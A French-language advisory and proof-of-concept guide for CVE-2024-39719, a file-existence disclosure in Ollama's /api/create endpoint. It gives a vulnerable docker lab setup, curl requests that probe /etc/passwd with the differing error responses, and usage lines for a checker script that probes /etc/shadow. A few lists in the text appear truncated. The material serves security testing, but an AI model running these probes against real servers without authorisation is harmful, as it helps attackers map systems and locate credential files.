
CVE-2024-39719 est une vulnérabilité de divulgation d'existence de fichiers affectant Ollama versions 0.3.14 et antérieures. Cette vulnérabilité permet aux attaquants de détecter l'existence de fichiers spécifiques sur le serveur via un point de terminaison API, pouvant entraîner une fuite d'informations.
Date de publication : 31 octobre 2024
La vulnérabilité se trouve dans le point de terminaison /api/create d'Ollama. Lorsqu'un attaquant appelle l'API CreateModel avec un paramètre de chemin, le serveur renvoie différents messages d'erreur selon que le chemin existe ou non. Ce comportement permet à un attaquant de déterminer si un fichier ou un répertoire spécifique existe sur le serveur en analysant les messages d'erreur.
Le problème principal est que lors du traitement des entrées utilisateur, le système expose directement les erreurs du système de fichiers au client au lieu de masquer correctement les informations sur l'existence des chemins.
Cette vulnérabilité affecte toutes les versions d'Ollama jusqu'à la version 0.3.14 incluse.
Bien qu'une vulnérabilité de divulgation d'existence de fichiers puisse sembler moins grave à première vue, elle peut :
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
docker compose up -d
http://your-ip:11434/.Envoyez une requête avec curl pour tenter d'accéder à un fichier inexistant :
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
Réponse :
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
Testez un fichier existant, comme /etc/passwd :
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
Réponse :
{"error":"no FROM line for the model was specified"}
En analysant ces différents messages d'erreur, un attaquant peut déterminer si un chemin cible existe ou non, obtenant ainsi des informations sur la structure de fichiers du serveur. Notez que les informations renvoyées par le serveur peuvent varier en fonction de la version.
Ollama a corrigé cette vulnérabilité dans les versions plus récentes. Les correctifs incluent :
/api/create.Le script Python fourni vous permet de tester si un serveur Ollama est vulnérable à CVE-2024-39719.
requests, termcolorpip install requests termcolor
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
-u, --url : URL du serveur Ollama (requis)-f, --file : Fichier dont l'existence doit être vérifiée (par défaut "/etc/passwd")# Check if a server is vulnerable
python CVE_2024_39719.py -u http://your-ip:11434
# Check if a specific file exists
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
Ce script est fourni à des fins éducatives et pour des tests de sécurité légitimes uniquement. Assurez-vous toujours d'avoir les autorisations appropriées avant de tester un système pour des vulnérabilités. Les tests non autorisés peuvent violer les lois et règlements.